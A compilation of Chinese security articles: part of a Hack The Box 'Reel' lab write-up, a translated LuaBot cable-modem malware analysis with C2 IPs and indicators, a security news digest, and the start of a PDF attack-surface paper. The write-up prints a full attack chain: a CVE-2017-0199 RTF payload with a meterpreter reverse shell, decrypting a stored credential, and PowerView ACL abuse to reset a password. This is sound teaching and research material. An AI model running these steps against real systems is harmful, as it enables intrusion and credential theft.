200 PORT command successful.
125 Data connection already open; Transfer starting.
05-29-18 12:19AM <DIR> documents
226 Transfer complete.
ftp> cd documents
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-29-18 12:19AM 2047 AppLocker.docx
05-28-18 02:01PM 124 readme.txt
10-31-17 10:13PM 14581 Windows Event Forwarding.docx
226 Transfer complete.
我们可以看到在documents文件夹中有3个文件可以访问，这些文件可以使用GET
<filename>命令单独复制，也可以在攻击主机上使用wget命令获取(因为这是匿名FTP):</filename>
wget -r ftp://10.10.10.77
“Windows Event
Forwarding.docx”文档的Creator元数据字段中包含用户电子邮件地址“[email protected]”，可以使用exiftool查看该字段：
exiftool “Windows Event Forwarding.docx”
ExifTool Version Number : 10.97
File Name : Windows Event Forwarding.docx
Directory : ftp
File Size : 14 kB
File Modification Date/Time : 2018:07:19 08:56:52-07:00
File Access Date/Time : 2018:07:19 08:59:07-07:00
File Inode Change Date/Time : 2018:07:19 08:57:11-07:00
File Permissions : rw-r--r-- File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x82872409
Zip Compressed Size : 385
Zip Uncompressed Size : 1422
Zip File Name : [Content_Types].xml
Creator : [email protected]
Revision Number : 4
Create Date : 2017:10:31 18:42:00Z
Modify Date : 2017:10:31 18:51:00Z
Template : Normal.dotm
Total Edit Time : 5 minutes
Pages : 2
Words : 299
Characters : 1709
Application : Microsoft Office Word
Doc Security : None
Lines : 14
Paragraphs : 4
Scale Crop : No
Heading Pairs : Title, 1
Titles Of Parts :
Company :
Links Up To Date : No
Characters With Spaces : 2004
Shared Doc : No
Hyperlinks Changed : No
App Version : 14.0000
“readme.txt”文件里只有：
please email me any rtf format procedures — I’ll review and convert.
new format / converted documents will be saved here.
在SMTP上使用VRFY命令验证“[email protected]”邮件帐户时，返回结果声明该命令是不被允许的。但是可以使用RCPT命令枚举有效的电子邮件帐户：
telnet 10.10.10.77 25
Trying 10.10.10.77...
Connected to 10.10.10.77.
Escape character is '^]'.
220 Mail Service ready
HELO anything here
250 Hello.
VRFY [email protected]
502 VRFY disallowed.
MAIL From: <[email protected]>
250 OK
RCPT To: <[email protected]>
250 OK
RCPT To: <[email protected]>
550 Unknown user
QUIT
221 goodbye
Connection closed by foreign host.
至此，已经收集到了3个关键细节:
* 运行在主机上的SMTP服务器
* 电子邮件账户 “[email protected]”
* 有人想要接收.rtf文件
## 最初的立足点
研究如何利用目前收集到的信息，需要用到CVE-2017–0199，这是在2017年4月发现的一个微软Office办公软件的0Day漏洞。这个漏洞利用了.rtf文件(一些被重命名为.doc格式)，这些文件将连接到远程服务器(由攻击者控制)，以便下载包含HTML应用程序内容的文件，并作为.hta文件执行。因为.hta是可执行的，所以攻击者可以在受害者的机器上获得完整的代码执行，这个逻辑错误还使攻击者能够绕过微软开发的任何基于内存的缓解([来源](https://securingtomorrow.mcafee.com/mcafee-labs/critical-office-zero-day-attacks-detected-wild/))。
除了Metasploit模块之外，还有一些方法可以手动利用此漏洞:“Microsoft Office Word Malicious Hta
Execution”
(exploit/windows/fileformat/office_word_hta)。需要明确的是，这两种方法都不会直接黑掉任何客户机，恶意文件必须发送到受害机上并且在这些模块之外被执行。这些模块生成一个恶意的.rtf文件，并托管一个.hta文件。由于本文不是关于CVE-2017-0199本身的，而是关于Reel的，所以我将演示Metasploit模块，因为它更精简，更容易重复。
msf exploit(windows/fileformat/office_word_hta) > show options
Module options (exploit/windows/fileformat/office_word_hta):
Name Current Setting Required Description
---- --------------- -------- ----------- FILENAME shell.rtf yes The file name.
SRVHOST 10.10.14.11 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH default.hta yes The URI to use for the HTA file
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.11 yes The listen address
LPORT 1234 yes The listen port
Exploit target:
Id Name
-- ---- 0 Microsoft Office Word
msf exploit(windows/fileformat/office_word_hta) > run
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.11:1234
[+] shell.rtf stored at /root/.msf4/local/shell.rtf
[*] Using URL: http://10.10.14.11:8080/default.hta
[*] Server started.
这个模块创建了恶意文件shell.rtf,并将其放在目录/root/.msf4/local/下，同时在web服务器上托管.hta文件。利用swaks可以用来把恶意文件发送给“[email protected]”：
swak --to [email protected] --server 10.10.10.77 --attach /root/.msf4/local/shell.rtf
[*] Sending stage (179779 bytes) to 10.10.10.77
[*] Meterpreter session 1 opened (10.10.14.11:1234 -> 10.10.10.77:49359) at 2018-07-21 23:53:43 -0700
msf exploit(windows/fileformat/office_word_hta) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ---------- 1 meterpreter x86/windows HTB\nico @ REEL 10.10.14.11:1234 -> 10.10.10.77:49359 (10.10.10.77)
在.rtf文件被传送到主机后不久，它会被打开以产生一个回调函数来下载并执行.hta文件，该文件返回一个meterpreter
shell，授予用户对主机的访问权限。
## 持久性
用户nico的桌面上有一个名为cred.xml的文件，其中似乎包含Reel另一个用户tom的用户凭证：
meterpreter > dir
Listing: C:\Users\nico\Desktop
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ---- 100444/r--r--r-- 1468 fil 2017-10-27 18:59:16 -0500 cred.xml
100666/rw-rw-rw- 282 fil 2017-10-27 17:42:45 -0500 desktop.ini
100444/r--r--r-- 32 fil 2017-10-27 18:40:33 -0500 user.txt
100666/rw-rw-rw- 162 fil 2017-10-27 16:34:38 -0500 ~$iledDeliveryNotification.doc
meterpreter > cat cred.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">HTB\Tom</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
</Props>
</Obj>
这个xml文档实现了一种存储用户凭证的方法，以便将它们[传递到PowerShell脚本](https://ye110wbeard.wordpress.com/2012/05/21/three-ways-to-pass-credentials-in-a-powershell-script/)中，而不需要向每个脚本添加凭证。这使得在不破坏多个凭证或要求凭证单独更新的情况下，更容易的更新凭证。
为了与xml文件进行预期的交互，meterpreter
shell必须使用以下命令[加载PowerShell插件](https://www.darkoperator.com/blog/2016/4/2/meterpreter-new-windows-powershell-extension):
load powershell
使用以下命令获得PowerShell提示符，而不是标准的CMD提示符:
powershell_shell
使用命令Import-CliXml可以把该文件当做一个PSCredential对象接受：
$tom=Import-CliXml -Path C:\Users\nico\Desktop\cred.xml
使用一下命令可以将一个System.Security.SecureString转换明文字符串：
$tom.GetNetworkCredential().Password
结合起来如下：
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > $tom=Import-CliXml -Path C:\Users\nico\Desktop\cred.xml
PS > $tom.GetNetworkCredential().Password
1ts-mag1c!!!
PS >
这个明文密码用来以用户tom的身份通过SSh获取对Reel的访问。
## 权限提升
在tom用户的桌面目录中，有一个名为“AD
Audit”的文件夹，其中包含来自[BloodHound](https://github.com/BloodHoundAD/Bloodhound/wiki)活动目录审计的结果。其中包括一个名为“acls.csv”的文件,它包含了每个AD用户帐户与其他用户和组之间的关系。
审查“acls.csv”文件发现用户tom拥有claire帐户的WriteOwner权限，claire帐户具有backup_admin组的写入权限。官方[PowerSploit文档](https://powersploit.readthedocs.io/en/latest/)和一个重要贡献者之前的[博客](http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/)展示了如何执行密码重置并控制claire帐户，并将claire帐户添加到Backup_Admins组。
首先，导入AD Audit文件夹下的PowerView.ps1模块：
Import-Module ‘C:\Users\tom\Desktop\AD Audit\BloodHound\PowerView.ps1’
接下来，tom拥有claire用户对象的WriteOwner权限，所以把tom设为claire object的所有者。
Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
既然tom是claire对象的所有者，那么tom可以向ACL添加条目。添加一个条目，使tom有权更改claire对象的密码。
Add-ObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
更改claire的密码:
$UserPassword=ConvertTo-SecureString ‘1ts-mag1c!!!’ -AsPlainText -Force
Set-DomainUserPassword -Identity claire -AccountPassword $UserPassword
为claire帐户创建凭据对象，以便使用claire的特权执行命令：
$Cred = New-Object System.Management.Automation.PSCredential(‘HTB\claire’, $UserPassword)
添加claire到Backup_Admins组:
Add-DomainGroupMember -Identity ‘Backup_Admins’ -Members ‘claire’ -Credential $Cred
汇总如下：
Import-Module 'C:\Users\tom\Desktop\AD Audit\BloodHound\PowerView.ps1'
# tom has WriteOwner rights on the claire user object.
# set tom as the owner of claire object.
Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
# Now that tom is owner of Claire object, he can add entries to the ACL.
# Add an entry giving Tom the right to change the password of Claire object.
Add-ObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
# Change the password of claire
$UserPassword = ConvertTo-SecureString ‘1ts-mag1c!!!’ -AsPlainText -Force
Set-DomainUserPassword -Identity claire -AccountPassword $UserPassword
# Add claire to the Backup_Admins group
$Cred = New-Object System.Management.Automation.PSCredential('HTB\claire', $UserPassword)
Add-DomainGroupMember -Identity 'Backup_Admins' -Members ‘claire’ -Credential $Cred
使用claire帐户ssh连接到主机，我们能够访问管理员帐户的桌面，但是仍然访问不了root.txt(flag).然而，有一个“Backup
Scripts”目录，包含了一个名为BackupScript.ps1的文件，其中包含管理员帐户的明文密码。
此密码用于通过SSH访问管理员帐户并获得root flag: | 社区文章 |
# 【技术分享】LuaBot： 以电缆调制解调器为目标的恶意程序分析
|
##### 译文声明
本文是翻译文章，文章来源：w00tsec
原文地址：<https://w00tsec.blogspot.com/2016/09/luabot-malware-targeting-cable-modems.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **poi** ****](http://bobao.360.cn/member/contribute?uid=2799685960)
**预估稿费：260RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
在2015年中期，我发现一些影响ARRIS公司的电缆调制解调器的漏洞。我为此写了篇博客[blogpost about ARRIS' nested
backdoor ](https://w00tsec.blogspot.com/2015/11/arris-cable-modem-has-backdoor-in.html)，详细的讲述了我对于电缆调制解调器的一些研究（相比于在2015年的[NullByte Security
Conference](https://www.nullbyte-con.org/)的演讲更加详细）。
CERT/CC（美国计算机安全事件响应小组）发布了漏洞记录
[VU#419568](https://www.kb.cert.org/vuls/id/419568),受到了大量媒体报道。我那个时候没有提供任何Poc，因为我确定那些漏洞很容易做成蠕虫。猜猜发生了什么？从2016年5月开始，有人攻破了那些设备。
恶意程序以[Puma 5电缆调制解调器](https://www-ssl.intel.com/content/www/us/en/cable-modems/puma5-product-brief.html)为目标，包括了ARRIS公司的TG862系列。传染发生在众多平台，[Dropper](https://en.wikipedia.org/wiki/Dropper_\(malware)类似于很多[普通蠕虫](https://www.protectwise.com/blog/observing-large-scale-router-exploit-attempts/)，以[多个架构](https://isc.sans.edu/diary/19999)的[嵌入式设备为目标](https://quantumfilament.co/2015/08/17/chapter-2-the-binary/)。 最终版本为来自[LuaBot
Malware](https://www.symantec.com/security_response/writeup.jsp?docid=2016-090915-3236-99)的ARMEB(endian
big)版本。
来自LuaBot恶意程序的ARMEL版本已经在[blogpost from Mslware Must
Die](http://blog.malwaremustdie.org/2016/09/mmd-0057-2016-new-elf-botnet-linuxluabot.html)中进行了剖析，但是这个ARMEB目前任然未知。这个恶意程序起初在2016-05-26的时候发送给了
VirusTotal，但是并没有检测出问题。
##
**电缆调制解调器的安全和ARRID的后门**
在进一步操作前， 如果你希望了解电缆调制解调器的安全，请看我去年进行的讨论 “Hacking Cable Modems: The Later
Years”的幻灯片。 会谈囊括了用来管理电缆调制解调器的技术的很多方面：数据是如何保护的，ISP是如何更新固件的等等。
[https://github.com/bmaia/slides/raw/master/nullbyte_2015-hacking_cable_modems_the_later_years.pdf](https://github.com/bmaia/slides/raw/master/nullbyte_2015-hacking_cable_modems_the_later_years.pdf)
特别要关注第86页：
我收到了很多报告：为了转存配置文件和偷窃私人认证证书，恶意程序的创立者们远程攻破了这些设备。还有一些用户表示个人认证信息被出售给全球各地的调制解调器克隆商以获取比特币。
[[Malware Nust
Die!]](http://blog.malwaremustdie.org/2016/09/mmd-0057-2016-new-elf-botnet-linuxluabot.html)上的报告也表明了 LuaBot也在进行 flooding/DDoS攻击。
**漏洞利用和传染**
Luabot恶意程序是一个更大的僵尸网络的一部分，以各种架构的嵌入式设备为目标。
验证了一些感染的设备后，我注意到大多数的电缆调制解调器是通过使用ARRIS的后门口令对受限的CLI进行命令行注入破解的。
Telnet蜜罐（比如[
[nothink.org]](http://www.nothink.org/honeypot_telnet.php)）已经记录了一段时间关于尝试利用漏洞的情况。记录了很多尝试使用用户名
“system”和口令”ping ;sh”的暴力破解。但其实，命令是用来逃避受限制的ARRIS的Telnet shell。
最初创建的dropper程序通过显示shell命令创建一个标准的ARM ELF文件。
我交叉编译，上传了一些调试工具到我的[cross-utils](https://github.com/bmaia/cross-utils/tree/master/armeb)仓库，包括gdbserver、strace和tcpdump。我也碰巧有一个ARRIS
TG862设备，所以准备在受控环境下进行动态调试。
如果使用strace运行dropper监控网络调用，你会看到首次连接尝试：
./strace -v -s 9999 -e poll,select,connect,recvfrom,sendto -o network.txt ./mw/drop
connect(6, {sa_family=AF_INET, sin_port=htons(4446), sin_addr=inet_addr("46.148.18.122")}, 16) = -1 ENODEV (No such device)
命令为简单的下载和执行ARMEB的shellcode，恶意ip : 46.148.18.122 在 [bruteforcing SSH servers
and trying to exploit Linksys router command
injections](https://www.abuseipdb.com/check/46.148.18.122)中已经知晓。
下载第二阶段的恶意程序之后，脚本会显示以下字符：
echo -e 61\\\x30ck3r
样式特别有趣，因为和ProtectWise 公司报告的 [Observing Large-Scale Router Exploit
Attempts](https://www.protectwise.com/blog/observing-large-scale-router-exploit-attempts/)很相似：
cmd=cd /var/tmp && echo -ne \x3610cker > 610cker.txt && cat 610cker.txt
第二阶段的二进制文件 “.nttd”(MD5 : c867d00e4ed65a4ae91ee65ee00271c7)
进行了一些内部检测并创建了一些iptable规则（允许来自特殊子网的连接，阻止了来自端口8080，80，433，23和22的外部访问）。
这些规则阻止对ARRIS服务/后门的外部漏洞尝试，限制攻击者进入被控制的网络。
设置完规则后，攻击者会传输/运行两个额外的二进制文件，第一个 ：.sox.rslv（MD5 ：
889100a188a42369fd93e7010f7c654b）是个基于[udns
0.4](https://github.com/wongsyrone/shadowsocks-libev-libsodium-for-server/tree/master/libudns)的简单的DNS查询工具
另一个二进制文件 .sox（MD5 ： 4b8c0ec8b36c6bf679b3afcc6f54442a），将DNS服务器设置为
8.8.8.8和8.8.4.4 并提供多个隧道功能（包括SOCKS/proxy , DNS和IPv6）
部分代码类似 [shadowsocks-libev](http://code.taobao.org/p/sss-libev/src/trunk/shadowsocks-libev-master/) ，并且暴露了一个有趣的域名 [whrq[.]net
domain](https://www.threatcrowd.org/domain.php?domain=whrq.net)，
看起来像是作为dnscrypt网关
这些工具都是作为辅助工具来完成LuaBot的最终形态 arm_puma5(MD
：061b03f8911c41ad18f417223840bce0)，似乎是有选择性的安装在部分存在漏洞的电缆调制解调器上。
更新 ： 根据这个[采访](https://medium.com/@x0rz/interview-with-the-luabot-malware-author-731b0646fc8f)假定的恶意程序作者所说，“逆向人员搞错了，说这些模块来自我的程序，但是其实是别人的，一些路由器同时感染了多个程序,我的从来没有任何二进制模块，是一个大elf文件，有时dropper小于1kb”。
**最终形态 ： LuaBot**
恶意程序的最终形态为 716KB的ARMEB
的elf二进制文件，静态链接，精简的（没有调试信息），并使用Puma5的工具链进行编译，可以在我的仓库[cross-utils](https://github.com/bmaia/cross-utils/tree/master/armeb/puma5_toolchain)中获取
如果使用strace进行动态分析，
我们可以看到bot作者的问候和mutx(bbot_mutex_202613)的创建，然后bot开始监听11833(TCP)端口并尝试联系命令和控制服务器（80.87.205.92）
1078 write(1<socket:[4448]>, "Hi. Mail me if u want: routerbots@_____.__n", 44) = 44
1078 socket(AF_LOCAL, SOCK_STREAM, 0) = 7<socket:[22218]>
1078 bind(7<socket:[22218]>, {sa_family=AF_LOCAL, sun_path=@"bbot_mutex_202613"}, 110) = 0
1078 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xc6048) = 1079
1078 exit_group(0) = ?
1078 +++ exited with 0 +++
1079 setsid() = 1079
1079 clone( <unfinished ...>
(...)
1080 gettimeofday({500, 278384}, NULL) = 0
1080 socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 10<socket:[22231]>
1080 ioctl(10<socket:[22231]>, FIONBIO, [1]) = 0
1080 setsockopt(10<socket:[22231]>, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
1080 bind(10<socket:[22231]>, {sa_family=AF_INET, sin_port=htons(11833), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
1080 listen(10<socket:[22231]>, 1024) = 0
1080 open("/proc/net/route", O_RDONLY|O_LARGEFILE) = 11</proc/net/route>
(...)
1080 gettimeofday({500, 318385}, NULL) = 0
1080 _newselect(32, [8<pipe:[22229]> 10<socket:[22231]>], [], NULL, {0, 959999}) = 0 (Timeout)
1080 gettimeofday({501, 278401}, NULL) = 0
1080 socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 11<socket:[22282]>
1080 ioctl(11<socket:[22282]>, FIONBIO, [1]) = 0
1080 connect(11<socket:[22282]>, {sa_family=AF_INET, sin_port=htons(1055), sin_addr=inet_addr("80.87.205.92")}, 16) = -1 ENETUNREACH (Network is unreachable)
1080 close(11<socket:[22282]>) = 0
1080 write(0<socket:[4448]>, "GET /getcmds?bid=notgenerated HTTP/1.1rnConnectio
为了理解恶意程序是怎么工作的，我们把人工和动态分析进行结合。是时候使用IDA pro进行分析二进制文件了。
二进制文件是精简的， IDA pro 一开始没有分析出ARMEB的常用函数调用。我们可以使用
[@matalaz](https://github.com/joxeankoret/diaphora)'s
[diaphora](https://github.com/joxeankoret/diaphora)
的diffing插件来得到所有的符号而不是话费数小时进行手工检查。
首先导出 uClibc的Puma5工具链的符号。 从[这里](https://github.com/bmaia/cross-utils/blob/master/armeb/puma5_toolchain/armeb-linux.tar.xz)下载预编译的工具链，使用IDA
pro打开 “armeb-linuxti-puma5liblibuClibc-0.9.29.so”库文件。 选择 FIle/Script(ALT+F7),
加载diaphora.py， 选择一个位置将IDA数据库导出成SQLite格式， 选择Export only non-IDA generated
functions然后点击 OK。
当完成后，关闭当前IDA 数据库， 打开arm_puma5二进制文件。再次运行diaphora.py脚本，选择SQLite数据库进行比较
过一会后，会显示连个数据库中各种不能匹配的函数的选项，比如“Best”“Partial”和“ Unreliable”匹配项。
浏览“Best matches”项，右击列表然后选择“Import *all* functions”，然后结束后选择不重新启动比较进程。前往“Partial
matches”项，删除所有比例比较低的(我把低于0.8的都删掉了)，右击列表选择”Import all data for sub_* function"。
IDA的 string窗口显示很多和Lua脚本语言相关的信息。
因此，我也交叉编译了一份[Lua的ARMEB版本](https://github.com/bmaia/cross-utils/tree/master/armeb/lua),将 lua二进制载入IDA
pro，重复和[diaphora](https://github.com/joxeankoret/diaphora)的比较过程。
差不多完成了，如果你google一些调试信息的话，你会找到一份删除的粘贴内容的快照。
我下载了C代码 evsocketlib.c，为所有这里没有包括的内容建立虚拟结构，并交叉编译出ARMEB版本。然后呢？ 再次比较。
现在再对恶意程序进行逆向就清晰多了。有内置的Lua解释器，一些套接字相关的本地代码。僵尸网络的命令列表存储在 0x8274中： bot_daemonize,
rsa_verify, sha1, fork, exec, wait_pid, pipe, evsocket, ed25519, dnsparser,
struct, lpeg, evserver, evtimer and lfs：
bot一开始进行Lua环境的设置，解压缩代码，建立子进程，等待来自CnC控制伺服器的指令。恶意程序作者将Lua的源代码亚作为GZIP
blob，使得整个逆向工作更加容易(不用再处理Lua的字节码了)。
在0xA40B8的blob中 包含了GZip的头，以及最后修改的时间戳。
另一个简单的解压lua代码的方式为： 将二进制文件attach到喜欢的调试器上(当然是
[gef](https://github.com/hugsy/gef)),然后将进程内存转存出来。
首先 将 [gdbserver](https://github.com/bmaia/cross-utils/tree/master/armeb/gdb)拷贝到电缆调制解调器上，
运行恶意程序(arm_ppuma5)并attach到调试器到对应的pid上。
./gdbserver --multi localhost:12345 --attach 1058
./gdbserver --multi localhost:12345 --attach 1058
gdb-multiarch -q
set architecture arm
set endian big
set follow-fork-mode child
gef-remote 192.168.100.1:12345
最后 列出内存部分，转存出堆中的内容
vmmap
dump memory arm_puma5-heap.mem 0x000c3000 0x000df000
现在就有了LuaBot的所有源代码了
LuaBot源码由几个模块组成
bot的设置，DNS递归器和CnC设置是硬编码了的
代码注释的很好，包括代理的检验函数和 mssscan的日志解析 ：
使用 /dev/urandom 作为随机数种子：
LuaBot集成了嵌入式的JavaScript引擎,并且执行使用作者的RSA公钥签名的脚本
LuaBot集成了嵌入式的JavaScript引擎,并且执行使用作者的RSA公钥签名的脚本
存在函数 ： checkanus.penetrate_sucuri， 大概用来绕过 Sucuri 的DDoS（拒绝服务攻击）保护的
有一个函数 ： checkanus.penetrate_sucuri， 大概用来绕过 Sucuri 的DDoS（拒绝服务攻击）保护的
大多数bot的功能都和[Malware Must Die!
blogpost](http://blog.malwaremustdie.org/2016/09/mmd-0057-2016-new-elf-botnet-linuxluabot.html)中的相吻合。 有趣的是
CnC服务的IP和iptable规则中的IP没有相同的部分，可能妒忌不同的bot种类采用了不同的环境，（也可能只是因为升级了）。
我没有分析远程僵尸网络的结构，但是模块化的方式和恶意程序的互操作性表示这会是个专业的持续的行为。
**总结**
恶意程序并没有持久机制来存活，它不会尝试刷新固件或者修改易失区(比如NVRAM)，但是第一版本的payload使用iptables规则来限制设备的远程连接。
这是个很有趣的处理方式，因为它可以循序的扫描网络，限制IoT设备的额外的连接，并有选择的使用最终形态的payload进行感染。
2015年，我首次报告ARRIS的后门的时候，有超过[60万的ARRIS设备存在漏洞](https://twitter.com/bernardomr/status/667643475358318592)，
49万的设备的telnet服务是开启的。
在2016年9月进行同样的查询，可以看到暴露的设备减少到3万5了
我知道新闻媒体报道，[安全报道](https://www.kb.cert.org/vuls/id/419568)对此出了很多力，但我想知道这些设备中已经有多少被感染了，又有多少设备因为各种恶意程序而限制了额外的连接。
大量 存在面向互联网的管理接口的Linux设备， 后门的利用， 缺乏固件升级，容易完成对LoT设备的破解，使得它们成为网络犯罪的目标
IoT 僵尸网络正在成为这中存在 ： 厂商必须建立安全可靠的产品， ISP服务商需要提供 升级的设备/固件， 用户需要给家用设备打补丁，保证安全 。
我们需要找到更好的方式去发现，阻止，抑制这种新出现的趋势， 比如 [SENRIO](http://senr.io/) 的方式
可以帮助ISP服务商和企业对IoT生态环境更加关注。大规模的固件分析可以继续，并提供设备安全问题的更好的理解.
**攻击指示器**
LuaBot ARMEB 二进制文件：
drop (5deb17c660de9d449675ab32048756ed)
.nttpd (c867d00e4ed65a4ae91ee65ee00271c7)
.sox (4b8c0ec8b36c6bf679b3afcc6f54442a)
.sox.rslv (889100a188a42369fd93e7010f7c654b)
.arm_puma5 (061b03f8911c41ad18f417223840bce0)
GCC交叉编译工具
GCC: (Buildroot 2015.02-git-00879-g9ff11e0) 4.8.4
GCC: (GNU) 4.2.0 TI-Puma5 20100224
Dropper and CnC IPs:
46.148.18.122
80.87.205.92
攻击者的IP白名单
46.148.18.0/24
185.56.30.0/24
217.79.182.0/24
85.114.135.0/24
95.213.143.0/24
185.53.8.0/24 | 社区文章 |
# 3月13日安全热点 – 通过扬声器和耳机从PC窃取数据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
通过扬声器和耳机从PC窃取数据
[ https://www.bleepingcomputer.com/news/security/data-exfiltration-technique-steals-data-from-pcs-using-speakers-headphones/](https://www.bleepingcomputer.com/news/security/data-exfiltration-technique-steals-data-from-pcs-using-speakers-headphones/)
<https://thehackernews.com/2018/03/air-gap-computer-hacking.html>
<https://www.theregister.co.uk/2018/03/12/turning_speakers_into_covert_listening_devices/>
四大恶意软件威胁中竟然有三个是浏览器内加密矿工
<https://www.bleepingcomputer.com/news/security/report-three-of-top-four-malware-threats-are-in-browser-cryptocurrency-miners/>
医院黑客：默认密码和不打补丁使医疗保健器械面临风险
<http://www.zdnet.com/article/hospital-hacks-default-passwords-and-no-patching-leaves-healthcare-at-risk/>
2017年利用PowerShell的恶意软件增长了432％
[https://www.darkreading.com/vulnerabilities—threats/malware-leveraging-powershell-grew-432–in-2017/d/d-id/1331255](https://www.darkreading.com/vulnerabilities
---threats/malware-leveraging-powershell-grew-432--in-2017/d/d-id/1331255)
2月份最受欢迎的恶意软件：加密恶意软件深入企业计算资源
<https://blog.checkpoint.com/2018/03/12/februarys-wanted-malware-cryptomining-malware-digs-deeper-enterprises-computing-resources/>
## 技术类
WPS Office Free 10.2.0.5978 本地权限提升或拒绝服务漏洞
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6400>
SecurEnvoy SecurMail爆出多个严重漏洞
<http://seclists.org/fulldisclosure/2018/Mar/29>
对JSON Web Services的Fuzz研究
<https://secapps.com/blog/2018/03/fuzzing-json-web-services>
浅谈企业内部安全漏洞的运营(一)——规范化
<https://www.secpulse.com/archives/69352.html>
在中东和亚洲中部的新行动——可能与“MuddyWater”行动有联系
<https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/>
编写C#查询证书域名小工具
<https://www.secpulse.com/archives/69342.html>
有人在看！当相机不仅仅是“聪明”
<https://securelist.com/somebodys-watching-when-cameras-are-more-than-just-smart/84309/>
ezXSS——测试（盲）XSS的简单方法
<https://github.com/ssl/ezXSS>
Docker安全审计工具
[ https://github.com/bbb31/dprobe](https://github.com/bbb31/dprobe) | 社区文章 |
# 前言
本文是Asia Blackhat 17年上一篇译文，链接：[Dig Into the Attack Surface of PDF and Gain 100+
CVEs in 1 Year](https://www.blackhat.com/docs/asia-17/materials/asia-17-Liu-Dig-Into-The-Attack-Surface-Of-PDF-And-Gain-100-CVEs-In-1-Year-wp.pdf "Dig
Into the Attack Surface of PDF and Gain 100+ CVEs in 1 Year")
文中以PDF的漏洞挖掘为基础，提供了漏洞挖掘中作者所总结的一些思路。比如：如何去寻找目标的攻击面。译者觉得如何寻找攻击面，怎么提高fuzz效率这些点，对自己很有启发，所以索性将整个文章翻译，与大家分享。
# 摘要
可移植文档格式（a.k.a.
PDF）是世界上使用最广泛的文件格式之一，这种复杂的文件格式也暴露了一个巨大的潜在攻击面，这对我们来说非常重要。在去年，通过深入挖掘PDF的攻击面并高效地fuzz很流行的PDF阅读器。作者在世界上最流行的PDF阅读器中发现了近150个漏洞，包括Adobe
Acrobat and Reader，Foxit Reader，Google Chrome，Windows PDF Library， OS X
Preview 和 Adobe Digital Editions。 供应商修复了100多个漏洞并为它们分配了CVE编号。
以下部分总结了本文：
* 简介
* 攻击面
* 测试用例
* fuzzing 技巧
* 结果
* 参考文献
# 1.简介
自Adobe于1993年发布完整的PDF规范以来，PDF已成为世界上更安全可靠的信息交换的标准[1]。但是，这种复杂的文件格式也会暴露出一个巨大的潜在攻击面，这对我们来说非常重要。有一些关于PDF安全性的研究，其中一些列出如下：
* Nicolas Grégoire: Dumb fuzzing XSLT engines in a smart way [2]
* Zero Day Initiative: Abusing Adobe Reader’s JavaScript APIs [3]
* Sebastian Apelt: Abusing the Reader’s embedded XFA engine for reliable Exploitation [4]
但是，这些研究中的每一项仅涵盖PDF的单个攻击面。更重要的是，从未提及基本但最常用的PDF特性，如图像和字体。由于PDF是一种复杂的格式，因此可以在这里完成大量工作。通过深入研究PDF的攻击面，我在各种PDF阅读器中发现了近150个漏洞。我的工作主要集中在Adobe
Acrobat and Reader上，并且在这个产品中发现了大多数漏洞。但是，这并不意味着这个产品比其他PDF阅读器更容易受到攻击。
# 2.攻击面
如果你想知道攻击面是什么，首先要问自己的问题是如何找到攻击面。 在这里，我总结了四种可能的方法来找到攻击面。
## 2.1 标准文档
PDF的ISO标准是ISO 32000-1：2008 [5]，文档的副本可以从Adobe的网站[1]免费下载。
该文档有756页，几乎描述了可移植文档格式本身的所有内容。 但是，本文档中未详细描述某些功能，例如JavaScript，XFA（XML Forms
Architecture），FormCalc等。
以下是一些有用的参考资料：
* JavaScript for Acrobat API Reference [6]
* XML Forms Architecture (XFA) Specification [7]
* FormCalc User Reference [8]
此外，PDF支持嵌入外部文件，如字体（TrueType，Type0，Type1，Type3等），图像（Jpeg2000，Jpeg，Png，Bmp，Tiff，Gif，Jbig2等），XML（XSLT等）。
本文不讨论这些文件的标准文档。
## 2.2 安全公告
